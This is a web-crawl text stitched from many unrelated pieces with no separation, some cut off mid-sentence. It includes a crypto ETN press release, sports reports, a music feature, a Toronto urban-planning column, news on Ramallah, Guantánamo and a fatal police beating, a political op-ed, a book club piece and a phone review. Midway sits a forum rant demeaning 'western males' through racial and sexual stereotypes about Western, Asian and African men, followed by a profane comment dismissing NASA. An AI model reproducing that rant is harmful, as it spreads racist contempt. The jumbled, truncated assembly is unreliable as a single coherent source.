Story continuesXBT Provider by CoinShares, the issuer behind the Bitcoin Exchange Traded Notes (ETNs), announced today that the first Ethereum ETNs are now available for trading on Nasdaq Stockholm.
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“The listing of these two Ether ETNs is a major win for European investors who have been requesting these products for over a year now. As of today, if investors want hassle-free exposure to the price movements of ether, they simply call their broker or trade on their normal brokerage platform – that’s truly remarkable. We are thrilled to be able to deliver on investor demand via a safe, familiar route in Nasdaq,” says Laurent Kssis, MD of XBT Provider by CoinShares.
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The two ETNs, COINETH and COINETHE are denominated in SEK and EUR respectively. They track the price of Ethereum as the average of the three most liquid cryptocurrency exchanges.
“We are happy to be able to provide investors with this new investment opportunity. Given the high interest we have experienced for the previous listings from XBT Provider it is exciting to now expand the offering into this unique exchange traded certificate. While it is important to acknowledge that exposure to an asset in its early stage of development, such as a digital currency, comes with a risk, trading Ether on Nasdaq Stockholm provides investors with the protection provided by a regulated infrastructure, well-known marketplace and accessibility through their ordinary brokers,” says Helena Wedin, Head of ETP Services Europe at Nasdaq.
“Today is a historical moment for Ethereum and ether as an asset; and for the future of crypto-assets. It was a little over two years ago that the bitcoin ETNs began trading – offering investors exposure to bitcoin via an established exchange for the first time. Today, we are able to bring ether to the market and mark another major first. It is important to remember how far and how fast the space has matured in the less than 8 years since this revolution began,” says Ryan Radloff, Co-Principal at CoinShares.Pete Sampson: There was a feeling around UMass football this summer that the program was ready to take a significant step forward. Did the 48-14 loss to Colorado change that? Did the 25-23 loss to Temple restore it?
Daniel Malone: UMass had the highest percentage of returning starters in the country this year, so there was some hope. The Colorado loss was a major letdown because players and fans were optimistic about the year. After the game quarterback Blake Frohnapfel came out and said maybe they bought into the hype a little too much, maybe they thought they were better than they actually were.
The Temple game was big because I think inside the locker room that’s the team UMass believes that it is. They had Temple on the ropes and it took a blocked PAT returned for a two-point conversion for Temple to get in position to win the game with a field goal. UMass should have been up four points with 90 seconds left. I think the team we saw against Temple is more indicative of the talent returning and what this team can be.
I still don’t know if they’re good enough to win six games and get to a bowl, but they’re better than the Colorado performance.
PS: Where do you think they took the biggest steps forward from Colorado to Temple?
DM: The run defense was a lot better. Yes, they gave up close to 400 yards rushing against Colorado, which doesn’t exactly have a stud running back. Against Temple, the Owls’ top back (Jahad Thomas) had just 25 carries for 66 yards. He torched Cincinnati the week before. I thought Frohnapfel was also a lot better (29-of-55, 393 yards, three touchdowns) and got back into rhythm. There were a couple drops early, but he looked more like himself. If the run defense and the quarterback continue to be good, that’s a positive sign.
PS: Frohnapfel is a really interesting story because he’s a graduate student transfer but came to UMass with two years of eligibility. What’s the backstory there?
DM: I think it says something about him that he graduated early enough from Marshall that he has two years left. He’s been a gift to this team, fell into their lap. To get a 6-foot-6, pro-style quarterback who fits into head coach Mark Whipple system, that’s perfect.
Frohnapfel is a very smart kid and that strikes you when you talk with him. He |
of the evening ahead, with its dress-up code, short, hour-long set of new songs, and a DJ set from Murphy, is that it might just lure people into dancing. They have even invented an alter ego band named The Reflektors, in which they perform wearing giant papier-mache heads of themselves, to add to the levity, and perhaps also to relieve the weight of what it means to be one of the world's biggest bands.
The party, in all its bright fun and silliness, is in some way an extension of the record. "It's hard not to get people out of their comfort zones and just alienate them," says Will. "I think a lot of art and a lot of the stuff we make, we get people out of their comfort zones by being extremely confrontational. And it's great that art's really confrontational, but there's something to be said about lifting people out of the day-to-day, that makes them excited about dancing instead of just feeling horrible about the government. But it's also valuable to feel horrible about the government." He laughs. "You want people dancing and being like 'The government sucks.'" He shoulder dances as he sings a little ditty: "The government sucks."
Shortly after 9pm, I am sitting in a white limousine at the back of the venue, wearing a papier-mache head of Chassagne. Win has implored the driver to find the worst kind of bass-heavy chart dance music he can on the limo's radio, to wind down the windows and turn it up loud. It is to this soundtrack that we all make the short journey round to the front of the building, to where the crowd has assembled and a red carpet has been rolled out.
We climb out to shouts, whistles and cheering, and the rush of it is faintly terrifying – through the head's giant nose holes, I can see little, breathe less, and wonder quite what my feet are doing. Win takes my hand and leads me along the queue, posing for photographs with fans as we go. Ahead of me, he is just a blur of sequinned jacket that I follow into the venue to where the rest of the band, in their wild suits and giant heads, have occupied the dancefloor. As I watch them dancing, I see how it liberates them, how charged they seem by rhythm and music and anonymity, and how thrilling it is to watch them caught in this sudden flare of hope.
• This article was amended on 6 November 2013 to correct a description of Arcade Fire. The original called the band "a loose circle of musicians orbiting husband and wife duo Win Butler and Régine Chassagne". In fact they are a six-piece band, as well as a moveable feast of other players.Play 02:45 Play 02:45 Agarkar: Surprised with Vijay as replacement
A finger injury has sidelined India opener Rohit Sharma from the rest of the England series. M Vijay, who flew back home after the Tests, has been called up as his replacement.
"Rohit Sharma has sustained a fracture on the middle finger of his right hand, and has been ruled out of the ongoing ODI and T20 International Series against England, as a result," a BCCI press release said. "The All-India Senior Selection Committee has picked Murali Vijay as his replacement."
The specialist batsmen already with the limited-overs squad in England who could replace Rohit in the XI for the third ODI on Saturday are Ambati Rayudu and the 19-year-old Sanju Samson. India could consider using Ajinkya Rahane as an opener, and slotting either Rayudu or Samson in the middle order.
Rohit was promoted to the top order in January 2013, and has had some success in the role, averaging 46.34, contributing to India's Champions Trophy success last year and becoming the third batsman to make an ODI double century.
While Rohit has struggled to nail down a permanent place in the Test side, his replacement Vijay has managed to do so, but has struggled to establish himself in the limited-overs outfit. Vijay was picked for a tri-series in the Caribbean in July 2013, ending a two-and-a-half-year absence from the ODI side, but he didn't do enough to warrant a longer run.
Rohit's previous visit to England in 2011 was also cut short when he was struck by a Stuart Broad bouncer and injured his right index finger.
© ESPN Sports Media Ltd.The Gardiner Expressway had to come down. A decade ago in Toronto, that was the consensus. Urban designers, the new Waterfront Toronto agency and Mayor Mel Lastman all agreed: It was a necessary step to rebuild the city's decrepit port lands, and worth its price tag of more than $1-billion.
Two and a half years ago, John Tory spoke about tearing down the Gardiner as "something that's going to make this a much greater city."
So what's changed? Today, the east end of the Gardiner is collapsing. It needs a multiyear rebuild. And Mayor John Tory is ready to lead city council to spend hundreds of millions of dollars – not to take it down, but to put it back up.
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In post-Rob-Ford Toronto, his position has an obvious political payoff. But if Mr. Tory wants to go that route, he will have to own the consequences. Rebuilding the Gardiner will leave a blight on the waterfront, an area that's becoming the symbolic heart of the city. And it will cost us, in every sense.
Since last month, the mayor has advocated – with arguments that are almost all misleading – for the so-called "hybrid." This is essentially a rebuild of the Gardiner East. He's implied it would facilitate more development than tearing the highway down; this is false. He also couched the traffic argument in grand rhetoric about "great urban design." Building under a highway, he implied, would be the sophisticated, big-city move. New York has done it! Amsterdam!
Yes: You can put things under an expressway. You can also put lipstick on a pig.
Using the space underneath expressways is the kind of underdog move now beloved by young architects; it came up in an ideas competition in Calgary that I covered last month.
On Toronto's waterfront, Underpass Park – which sits under a set of highway off-ramps – got a nod from the mayor this week. Its design is brilliant, under the circumstances. But the nicest part is actually in the sun, between two ramps and not under them. What would make the park even better? Remove the roads.
There is a broad expert consensus that urban elevated expressways are bad news: They're noisy; they are polluting; they are obstacles to a varied, lively streetscape. Ask yourself: Given the choice, do you want to live next to an elevated Gardiner – or not? Would you rather go to a park that's under a highway – or one that isn't?
Mr. Tory is determined to spin shadow into sunshine: to claim the high ground of "city-building" as he does the opposite.
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"It is simply unthinkable that we are talking about, in essence, building a new elevated expressway," says Michael Kirkland, a local architect and urban designer who worked for years with Waterfront Toronto.
Jennifer Keesmaat, the city's chief planner, is clear. At a conference last month, where landscape architects hailed the Toronto waterfront as a global example of good planning, she told me: "The best option to realize our waterfront, and to fulfill our vision of building complete communities, would be to create a beautiful, grand boulevard."
The details have yet to be designed. However, when the landscape architects Field Operations – famous for the High Line, a former elevated railway in Manhattan that is now a hugely popular park – looked at the problem in 2010, their imaginings looked very attractive.
We can, Ms. Keesmaat says, make the new stretch of Lake Shore Boulevard a beautiful place.
And can we improve upon an elevated expressway? "Sure," she said, "but it's mitigation." In other words, you can make the best of a bad situation.
Is that what we, as Torontonians, want? Is that compromise worth paying many millions for? The "hybrid" plan would be much more expensive than the tear-down alternative; the city's figures put the difference at nearly $500-million, and that doesn't account for the loss of value in the planned Keating Channel neighbourhood, which could reach $200-million in the next two decades.
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The "hybrid" places a highway and off-ramps, rather than a boulevard, through the centre of this new district; it scrambles the plan of the neighbourhood and eats up acres of development land. That would involve huge costs to compensate the development consortium 3C for some of its property; the number could be north of $50-million. Meanwhile, city consultants estimate the lost value of the city's own land at $137-million.
What's most troubling is that the proposed benefit to car traffic is small – affecting 3 per cent of commuters into downtown – and may not even exist. There is lots of empirical evidence that eliminating expressways leads people to change their behaviour. Traffic disappears. This is precisely what happened on the eastern end of the Gardiner when it was torn down in 1998. Mr. Kirkland, Ms. Keesmaat and others have raised the examples of cities such as New York, where, as The Globe's Oliver Moore reported this week, the demolition of the West Side Highway caused zero gridlock. I was there in April to review the new Whitney Museum, a polished $422-million building that sits on the edge of the former highway. It is lovely, and expensive, real estate.
The mayor has found one distinguished design professional to advocate his point of view: John van Nostrand, a planner who has been arguing to mitigate the Gardiner for more than a decade, and not winning the argument. He delivered a belligerent performance at City Hall last week ("They didn't do a very good job," he said of Ms. Keesmaat's predecessors), providing political cover for the mayor. And yet, in 2004, he took part in a design study for Waterfront Toronto that favoured a tear-down. Mr. Kirkland, who was also part of the group, said this of Mr. van Nostrand: "He failed to move the conversation."
Today, the entire design establishment of Toronto is on the other side – favouring the tear-down and "boulevard" option. The list includes Waterfront Toronto, Ms. Keesmaat, the city's urban design director Harold Madi, two former chief planners, including Paul Bedford, the current and two former deans of the University of Toronto's Daniels Faculty of Architecture and Design, the urbanist and economist Richard Florida, the Toronto Society of Architects and the Council for Canadian Urbanism.
If Mayor Tory wants to ignore them and chase a political imperative, so be it. But the decision shouldn't be hidden with the promise of city-building. You can put lipstick on a pig, but it's still a pig.At least two Palestinians were wounded by gunmen disguised as fellow protesters in a group of men throwing stones at Israeli security forces in Ramallah on Wednesday. After participating in the stone throwing, several gunmen suddenly drew their weapons and fired point blank at the Palestinians.
The plainclothes gunmen were immediately joined by over a dozen uniformed Israeli soldiers, who can be seen on video beating, kicking and pointing assault weaponry at the Palestinians before dragging them toward Humvee-style vehicles.
While the Israeli military reports that two Palestinians were injured in the gunfight, Agence France-Presse, which has posted video, counts three men among the injured.
The incident can also be seen in video posted by the Shehab News Agency:
Reuters reporter Luke Baker tweeted that the gunmen were undercover Israeli police officers who had been inciting the Palestinians to throw rocks at the soldiers before firing at the stone-throwers themselves.
Footage in Ramallah shows undercover #Israeli police throwing stones at Israeli forces and inciting #Palestinian youth to do the same — Luke Baker (@LukeReuters) October 7, 2015
@zpyarom I've been watching them operating. The undercover units ran back to Israeli troops and drew their weapons to fight back — Luke Baker (@LukeReuters) October 7, 2015
The Israeli military has not yet commented on whether the plainclothes gunmen are formally affiliated with its security forces, but the video footage appears to show them working in close cooperation with the uniformed soldiers.
In addition to those wounded by the gunmen, 18 Palestinians sustained injuries from rubber-coated steel bullets during Wednesday's clash in Ramallah, the Palestinian news agency Ma’an reported.
The clash occurred near Beit El, an Israeli settlement adjacent to Ramallah. An Israel Defense Forces spokesman told The Times of Israel that 350 Palestinians threw stones, Molotov cocktails and fireworks at Israeli soldiers. "In response, the IDF fired at the main agitators," the spokesman said.
Last month, Israel’s Security Cabinet unanimously voted to lower the bar for the use of live fire against stone-throwers. The new rules allow Israeli police officers to fire their weapons if they believe any individual's life is in danger, not just their own.21 Shares 0
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The GOP is trying to oust Donald Trump from the Presidential campaign trail. Numerous GOP officials and corporate media reports have indicated that Donald Trump may drop out of the race. Curiously, the news comes just weeks after Trump walked away from the Republican National Convention with the nomination. No other candidate came close in total number of delegates in the state primaries and the proposed roll call from dissenting delegates failed to bring results. The attempted ousting of Trump reflects both the fracturing of the Republican Party and the rupture of the two-party corporate duopoly generally in this election cycle.
This isn't the first time establishment Republicans have attempted to push Trump out of the race. When Trump began picking up momentum earlier in 2016, many well-known Republicans refused to endorse him. Republican Mitt Romney made a video appearance at the Democratic Party National Convention to warn of the dangers of a Trump presidency. The Business Round Table, a collection of corporate executives, also warned New York Times readers of Trump's possible Presidential victory. Even the Koch Brothers are sabotaging Republican Party supporters of Trump by pulling their funding from his supporters in Washington.
The reason for the ruling class's fear of Trump is clearly articulated from the source. Trump is unpredictable and his message uncontrolled. There are times when Trump speaks to working class anxiety by repudiating trade deals and calling to re-regulate the financial sector. There are others when Trump is easily baited into traps set by the Democratic Party. In recent weeks, the Democratic Party has attempted to frame Trump as an unpatriotic traitor. Trump has reaffirmed his support of Russian President Vladimir Putin and refused to take back remarks regarding the heroism of a Muslim American soldier who died in combat in Iraq.
While power struggle between the Democratic Party and Republican Party is nothing new, Trump's impact on the two-party corporate duopoly should not be understated. Trump has destroyed the GOP's infrastructure. His rhetoric has inspired emboldened racist elements of the working class as well as legitimate class grievances among the Republican Party base. Trump has occupied a vacuum that its corporate-backers have refused to fill. No longer can the Republican Party operate as it did in the past without losing ground to the increasingly conservative Democratic Party.
For nearly five decades, the Republican Party has positioned itself the party of white supremacy. The Democratic Party has been able to place unions, Black voters, and white liberals under its tent over this period. However, the neo-liberal crisis of capitalism has changed this dynamic dramatically. The gap between Democratic Party rhetoric and policy has widened since the early 1980s. This has forced Republicans to move further to the right in the midst of Democratic Party-led wars, austerity measures, and assaults on civil liberties.
Donald Trump represents an existential threat to the very existence of the GOP. In her speech at the Democratic National Convention, Hillary Clinton herself admitted that she would be a President for “Democrats, Republicans, and Independents.” She was thus very forthright in extending an invitation to refugee Republicans into her “big tent” campaign. Clinton’s neo-liberal, imperialist agenda is attractive to a Republican Party establishment that has effectively lost its base to Trump. Trump’s erratic behavior only further endangers his ability to defeat Clinton’s strategy and bring victory to what is left of the Republican Party.
A series of interviews on “Democracy Now!” have clarified the depths to which the Clinton campaign seeks to use fear of Donald Trump as its catalyst for victory. In two separate debates, Green Party supporters Kshama Sawant and Chris Hedges confronted Clinton operatives Rebecca Traiser and Robert Reich. Traitser and Reich refused to address concrete policy and instead promoted a Clinton Presidency on the basis of the dangers of Donald Trump. The debates confirmed that Hillary Clinton and the Democratic Party have become virtuously indefensible. Such a realization has forced the two-party corporate duopoly into a crisis situation, especially on the Republican Party side. Either the Republican Party establishment gets behind Trump or it joins forces with the increasingly conservative Democratic Party machinery led by Clinton to defeat the “fascist” casino capitalist.
The fact the Republican Party has not distanced itself from rumors of Trump’s departure indicates that there is a significant portion of GOP leaders who would prefer a Hillary Clinton Presidency. Hillary Clinton is, after all, the chosen politician to serve the capitalist oligarchy. Clinton has received tens of millions of dollars in donations from hedge funds and various other Wall Street donors. This places Trump at a glaring disadvantage. Yet this disadvantage has been mitigated by the open rebellion both Democratic and Republican Party bases are waging against the establishment.
The conditions that created the revolt of young voters in the Democratic Party and the entire base of the Republican Party are not going away. Trump may step down, or he may continue on in his campaign. Whatever the case, the legitimacy of the two-party duopoly will remain tenuous at best. Millions of people are sick and tired of war, austerity, poverty, and a system that represents no one but the elite. A mass break with the two-party system is on the horizon and Trump’s campaign has played a significant role in speeding up the process. So the conversation about Trump should not be confined to his personality or his reactionary character. It should center on the root causes of his rise to the GOP nomination and what that means for the future of US political landscape.How do you western males losers feel and what will you losers do when in a locker room you see a guy who have more bigger penis than your penis who told you that he like the same girl you like, are you western males losers feel inferior, defeated, etc awful and are you western males losers going to give up the girl you love to the other penis? It seems to be that way because you western males losers are the only males in this world who put high value and take pride on their penis size, proven by you western males losers the only males who keep boasting about your penis size while saying other penis are smaller than your penis including keep saying us Asian guys have small penis.
Anyway, to any of you who want to know the reasons why those western males losers keep boasting about their penis size including keep saying us Asian guys have small penis is because :
1. Those western males losers are very jealous of us Asian guys because the best girls in the world which are known as our Asian girls are belong to us Asian guys, those western males losers retardedly believe that by keep saying us Asian guys have small penis will make our Asian girls no longer love us Asian guys and then prefer those western males losers.
2. Because those western males losers are naturally racist, so far no other males in this world who keep boasting about their penis size while saying other penis are smaller, including with african males who have the biggest penis size but those african males don't go on boasting about their penis size. What pathetic about this fact is those western males losers keep quiet about african penis who are more bigger than their western penis, no wonder that westerners are racist the most against african.youve been watching to much alien trilogy bro space exploration has been dead since the 70s and wasting money on taking picnic trips to space then back without accomplishing anything except "herp derp we orbit nao" fucking probes have accomplished more than manned space flight has all together so fuck it, but the second russia or china says "all your moon are belong to us now" amerika will get all chuck norris and go back but not accomplish anything other than land, plant a flag then leave, they didnt even know the moon had water elements till they crashed some big ass probe into it last year wtf was they doing when we landed back in the 70's other than playing golf and lol watch me hop around tl:dr nasa and america is a fucking joke
Genre Dramatic ReadingEvery month, I lead a group for a walk across Hampstead Heath while we talk about a book. Emily’s Walking Book Club works on the premise that it is easiest to talk to someone when you fall in step with one another, side-by-side. I’m convinced that the movement of our limbs aids the movement of our thoughts, and the fresh air and beautiful views help too.
Somewhere between 10 and 40 of us gather to walk and talk. I wonder what our collective noun would be – a series of walking book clubbers? An edition, a print run? Crucially, we can all talk at once, as the group fragments into twos, threes and fours to allow myriad conversations. We periodically regroup to recap, read aloud and launch into a new topic. This means that no single reader can dominate and, if there’s a clash of personalities, it’s easy to avoid one another.
Reading is a necessarily anti-social activity: the words on the page are taken in only if the wider world, with its many distractions, is zoned out. Perhaps it is surprising, then, that books can inspire socialising. Sometimes a book is so good that it demands to be talked about, ideally with someone else who’s read it.
So, in theory, book clubs should be a joy. Unfortunately, the reality sometimes disappoints. People complain that book clubs with friends tend to dissolve into un-book-related gossip by the end of the first bottle of wine, whereas book clubs with strangers can be intimidating.
For those of you who feel frustrated with your regular book club, but still like bookish conversation, don’t give up; either start up your own walking book club, or join a book club with a difference. There are lots of unusual ones out there – here’s three to get you started …
The Knitting Book Club
”Knitting does amazing things to your mind,” says Gerald Allt, who hosts a monthly knitting book club at his I Knit shop in London’s Waterloo. “It definitely helps to distil your thoughts on what you’ve read.” On the first Tuesday of the month, the click-clack of knitting needles accompanies impassioned literary discussion as people work on their woollens while unravelling complicated strands of plot. Novices be warned, the group is for experienced knitters only, as teaching would interfere too much with talk about the book. “No one feels nervous, even if they come on their own,” says Gerald, “because everyone knows that, at the very least, they can talk about their knitting.” Go Set a Watchman by Harper Lee on 1 December, Free, iknit.org.uk
The Art Book Club
The Ikon Gallery in Birmingham holds book clubs alongside its exhibitions. A guest speaker leads the discussion about how a particular book is relevant to the artist’s work. The idea is that the book throws new light on the art, and the art gives an unusual way in to the book. Readers gather inside the gallery, amongst the art, to talk about the book’s relationship with the work around them. “Everyone feels inspired,” says Rebecca Small from Ikon. “It stimulates all the senses.” Heart of Darkness and Fiona Banner on January 12, £4. https://ikon-gallery.org/event/book-club-heart-of-darkness/
The Cinema Book Club
When the Tyneside Cinema in Newcastle screen an adaptation of a book, they offer a free book club event, for which an academic introduces the film and hosts a discussion afterwards. Most unusually, at this book club you don’t have to have read the book first – it is as much an opportunity to ask the academic to elaborate on their area of expertise as it is to share your own views. Organiser Amy-Claire Scott says, “People enjoy listening to someone speak passionately and enthusiastically about the film and the subject. The most common thing you hear people saying afterwards is, “I’m going to read that now.” The Muppet Christmas Carol, 13 December, free with cinema ticket, tynesidecinema.co.ukTodd Frazier is congratulated on his two-run home run by Brandon Phillips during the sixth inning. (Photo: AP Photo/Darren Hauck)
MILWAUKEE — Somewhere, just maybe, across the globe, members of the 1982 Reds were popping cans of Bürger beer to celebrate the knowledge that their place in franchise history as the only Reds team to lose 100 games was safe.
With a 9-7 victory over the Brewers at Miller Park on Saturday, the 2015 version of the Reds won its 63rd game of the season, eliminating this year’s team from the infamy of losing 100 games for the second time since the first professional baseball team called Cincinnati home in 1869.
The victory also gave the Reds a game-and-a-half lead over the Brewers, a team that failed to reach its 63rd victory over the 162-game schedule for the eighth straight game, while the Reds have now won one more game in September (nine) than they did in all of August.
BOX SCORE: Reds 9, Brewers 7
Three times in Saturday’s game, the Reds came from behind to take the lead, finally scoring three in the eighth to get to J.J. Hoover and Aroldis Chapman to hold the lead.
“I’ve just been very, very pleased with the way our guys have been playing, especially since we rolled over August and got into September,” Reds manager Bryan Price said. “Most of the teams we’re playing are teams that are in the playoff hunt and they’re pushing and pushing and our guys are pushing back. I’m very proud of that. Down 2-0, down 6-3, down 7-6, and being able to find our way back into the game — and in that eighth inning, so much of it was putting the ball in play.”
Brandon Phillips hit a two-run single in the eighth to break the tie after the Brewers elected to intentionally walk Joey Votto to load the bases.
After a leadoff single by Eugenio Suarez and a two-out single by Jason Bourgeois, Skip Schumaker came up with runners on the corners and blooped a 1-2 offering into short left field.
Brewers third baseman Elian Herrera and left fielder Shane Peterson both tried to slide for the ball, but it landed between them and the two hit each other’s knees, scoring Suarez easily from third to tie the game at 7.
Brewers third baseman Elian Herrera (left) and left fielder Shane Peterson collide while trying to catch an RBI single by Skip Schumaker during the eighth inning. (Photo: AP Photo/Darren Hauck)
While Peterson, who had just entered the game for the injured Khris Davis, eventually got up and walked off the field under his own power, Herrera did not. After a delay of approximately 12 minutes, Herrera was taken off the field on a cart.
Hoover struck out three and allowed a hit in an inning of work, while Chapman came into the game in the ninth for his 32nd save of the season.
Reds starter Josh Smith gave up four runs on six hits in just four innings on the mound. In his fourth career start, the 28-year-old right-hander allowed a run in three of his four innings, including two in the first.
Smith returned to the Reds’ rotation after being called up when rosters expanded following the end of the Triple-A season, and when spots opened up by the innings limitations of Michael Lorenzen and Raisel Iglesias.
Smith, who has pitched twice since his call-up from Louisville, struggled with his command once again, failing to throw a first-pitch strike to any of the six batters he faced in the first.
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“For me, it’s huge. I’m not (throwing) 100 like (Aroldis Chapman) or mid-90s like these other guys, so strike one is more important for me than these other guys,” Smith said. “It’s something I’m working to get better at and something I continue to work at and try to do better next time out.”
Smith retired two of the first three batters he faced in the first, but then walked Davis on five pitches before giving up a two-run double to Domingo Santana to fall into a 2-0 hole early.
The Reds took the lead in the third when Smith led off with a drive that bounced off the wall in center field and caromed along the warning track in right as he ran around the bases for a stand-up triple.
The next batter, Jason Bourgeois, hit a grounder to second to score Smith easily. Schumaker then singled and Votto followed with his 28th home run of the season, giving the Reds a 3-2 lead.
That lead wouldn’t last long, as Brewers second baseman Scooter Gennett doubled to lead off the third and then scored on Davis’ single.
Logan Schafer then led off the fourth with his first home run of the season. Smith gave up a one-out single to Brewers starter Taylor Jungmann, but Smith got Gennett to ground into a double play to end the inning.
Frazier’s two-run home run in the fifth brought the Reds within a run at 7-6. It was Frazier’s 35th home run of the season, making him just the second player in team history to hit at least 35 home runs and 40 doubles in the same season. Frank Robinson hit 39 homers and 51 doubles in 1952.
“It’s unbelievable, it really is — 41 doubles, 35 home runs. That’s a good year, I don’t care what you're batting, honestly,” said Frazier, who is now hitting.259 on the season after going 1-for-5. “You think about all the stuff that coulda, shoulda, woulda, a bunch of times where you could have gotten another double or robbed of a home run, it all adds up. I’m just very excited. It’s a great feat and I’ll have it forever.”
Jay Bruce singled after Frazier’s homer, ending Jungmann’s night. Jungmann, also a rookie, was one of the bright spots of the Brewers’ season, but he has struggled in September, going 1-1 with a 6.32 ERA in his first three starts of the season’s final month before allowing six runs (five earned) to the Reds in his five innings on Saturday. He’s now 1-1 with a 6.97 ERA in September after going 8-5 with a 2.48 ERA in his first 15 starts.
After Jungmann was pulled in favor of Jeremy Jeffress, Suarez reached on an error by Brewers shortstop Jean Segura, Tucker Barnhart sacrificed the runners over and pinch-hitter Brayan Pena grounded out, scoring Bruce to tie the game at 6.
Manny Parra entered in the seventh inning and retired the first two batters he faced before Adam Lind lined a ball off Parra’s back for a single. Davis then singled to center, ending Parra’s night. Burke Badenhop gave up a ground-ball single to right on his first pitch, giving the Brewers a 7-6 lead.
"It was very nice. We’re resilient, we’re still fighting,” Frazier said. “Every stat counts and every W counts, as well.”The 240 people who live in very basic lodgings on the southern tip of a sunny Caribbean island may wish to reconsider the less-than-rosy opinion they have of their surroundings.
No less an authority than Miss Universe has visited Guantánamo Bay and pronounced the infamous US detention centre a "relaxing, calm, beautiful place".
According to a blog posting that will strike fear into the hearts of diplomats in Caracas and Washington, the beauty queen - who is also known as Dayana Mendoza from Venezuela - visited the facility last week with her friend, Miss USA, Crystle Stewart.
"It was a loooot of fun!" Mendoza wrote on the Miss Universe blog. She also recounted how she and Stewart met US military personnel and toured the camp, with its barbed wire fences, minefields and watchtowers. As well as a bar on the base, the pair also discovered an "unbelievable" beach in the bay.
"We also met the military dogs, and they did a very nice demonstration of their skills. All the guys from the army were amazing with us."
But the "deployment" - organised to entertain US troops and "boost morale" - also had its educational aspects.
"We visited the detainees' camps and we saw the jails, where they shower, how the[y] recreate themselves with movies, classes of art, books. It was very interesting," wrote Mendoza. "I didn't want to leave, it was such a relaxing place, so calm and beautiful."
Her experiences are a far cry from those of former detainees, who have alleged that torture, including "waterboarding", was practised at Guantánamo Bay.
Britain announced last week it would investigate whether its secret services were complicit in the torture of a UK resident released from the camp last month.
Barack Obama has set a one-year deadline for shutting the prison.Homeless man's death in encounter with cops brings protests
FULLERTON, Calif. Kelly Thomas was an often-seen fixture in this Southern California college town, a schizophrenic drifter described by his parents as easygoing and non-violent.
His death after being taken into custody by six police officers at a public transit station last month is the object of federal and local investigations, sparking weekly protests outside the police station and drawing concern from mental health experts who want better training for cops in dealing with the mentally ill.
"Dad, Dad," were among Thomas' final words, a haunting, desperate cry captured on video by a cellphone as police subdued the 37-year-old just after darkness fell at the city's central bus and train depot July 5.
The video has been viewed more than 695,000 times on You Tube. A hospital-bed photograph Ron Thomas took as his son lay in a coma shows a face grotesquely swollen and bloody, eyes blackened.
"They just beat the hell out of him," says Cathy Thomas, Kelly's mother, who counts six applications of a Taser-like weapon on her son in the video.
Thomas died five days later after being taken off life support.
Six Fullerton police officers have been placed on paid leave pending an investigation by the county district attorney, and the family has filed a legal claim against the city. A spokeswoman for the FBI's Los Angeles office, Ari Dekofsky, says agents are investigating "whether Kelly Thomas' civil rights have been violated."
Allegations of police brutality are hardly new, nor is videotaped evidence of it. Riots tore South Central Los Angeles in 1992 after four police officers were acquitted in the videotaped beating of motorist Rodney King.
That racially charged scene was a far cry from the one here, 25 miles southeast of downtown Los Angeles. This conservative, majority-white, Republican-leaning city of 135,000 is home to a 35,000-student campus of the California State University system.
Police Chief Michael Sellers has called Thomas' death "a tragedy for our community" but offered no description or sequence of events that evening. With two of the city's five council members calling for his resignation, Sellers last week took a medical leave.
Sgt. Andrew Goodrich, a police spokesman, said the department has nothing to say until District Attorney Tony Rackauckas makes a report.
The six officers have not been officially identified. An attorney for the officers, Michael Schwartz, did not return a call for comment.
Rackauckas said last week he has seen no evidence the officers intentionally tried to kill Thomas and that his investigators have not determined if the officers used excessive force.
An autopsy was inconclusive and awaits the results of toxicology tests, said Rackauckas' chief of staff, Susan Kang Schroeder.
Investigators have another video of the confrontation that has not been made public but has been viewed by the officers involved. It was captured by a surveillance camera controlled by Fullerton police. Schroeder said investigators are not making it public to avoid tainting witnesses' memories, should charges be filed.
Investigators have interviewed more than 80 witnesses, she said.
Still another video was taken by a security camera inside a county bus that pulled into the station as the confrontation unfolded. With audio, it shows boarding passengers describing to the driver what they saw, with several saying police beat, hogtied and shocked Thomas.
Ron Thomas, Kelly's father, a former investigator for the Orange County sheriff's department, wants murder charges filed. He said doctors showed him MRI scans revealing Kelly Thomas suffered two severe types of brain injury, one a lack of oxygen because his heart stopped, and the other blunt-force trauma.
"How can it be inconclusive when his face was so bashed in?" Thomas said.
Mayor Richard Jones, 78, a retired Air Force doctor and plastic surgeon, says he needs to know the cause of death.
"I will say these are gruesome injuries, but I've seen worse in people who survived," Jones said. "I don't know why he died."
Thomas' deadly encounter with police came after he was approached at the transit center by officers who were responding to a report of car break-ins.
The National Alliance on Mental Illness, an advocacy group, called on the city to provide better training in dealing with the mentally ill.
"There's not a family that I've ever spoken with that doesn't have similar fears — fears that their mentally ill family member is going to be confronted by police and misunderstood," says Steve Pitman, head of the group's local chapter.
There are protests every weekend at the police station, and city leaders' silence has sparked recall petitions.
"It's devastating for Fullerton," Councilwoman Sharon Quirk-Silva said. "This does not characterize Fullerton."
B |
I have linked to, or noted any specific applications, themes or icons used.
Specifications
Body Gorilla Glass 5 front/back, metal mid-frame, hydrophobic coating on front glass only
IP68 water & dust resistance Chipset Octa-core Exynos 8895 / Snapdragon 835 GPU Mali-G71 MP20 (Exynos)
Adreno 540 (Snapdragon) RAM 4GB LPDDR4 Storage 64GB
Micro SD card slot Display Super AMOLED with Mobile HDR Premium
2960x1440 resolution (2220x1080 default setting)
Integrated home button with force touch Camera Front: 8MP AF, f/1.7, 1.22µm pixels, 1/3.6" sensor, FOV: 80
Rear: Dual Pixel 12MP AF, OIS, f/1.7, 1.4µm pixels, 1/2.55" sensor, FOV: 77, 240fps @ 720p
Both: HDR video (30fps). EIS, selective focus, Shipped OS Android 7.0 (April security patch)
Samsung Experience 8.1 Battery 3500 mAh
Fast charging with wired and wireless (Qi/PMA) Connectivity Wireless a/b/g/n/ac
Bluetooth 5.0
LTE Cat.16
GPS: Galileo, Glonass, BeiDou
USB 3.1 Type-C 1.0
3.5mm headphone jack
NFC / MST Audio UHQ 32-bit & DSD support Sensors Iris, pressure, accelerometer, barometer, fingerprint, gyro, geomagnetic, hall, heart rate, proximity, RGB light In the box USB cable
AKG tuned earphones
Sim ejection tool
USB power adaptor
Quick start guide
USB Connector (USB Type-C)
Micro USB to Type-C Connector
'Premium'
The Galaxy S6 edge had the building blocks for Samsung's premium roadmap, which was then further improved by the Galaxy S7 line. All glass and/or metal has been the go-to for all things premium. Of course, the downside to glass on the back panel is that it is a fingerprint magnet, and because it is not coated in a hydrophobic layer like that front, the smudges appear more severe.
S7 edge (left), S8+ (right)
Each Galaxy flagship has seen a noticeable bump in fit and finish. The Galaxy S8+ continues this trend, with an even more flush frame to panel fit compared to the S7 edge.
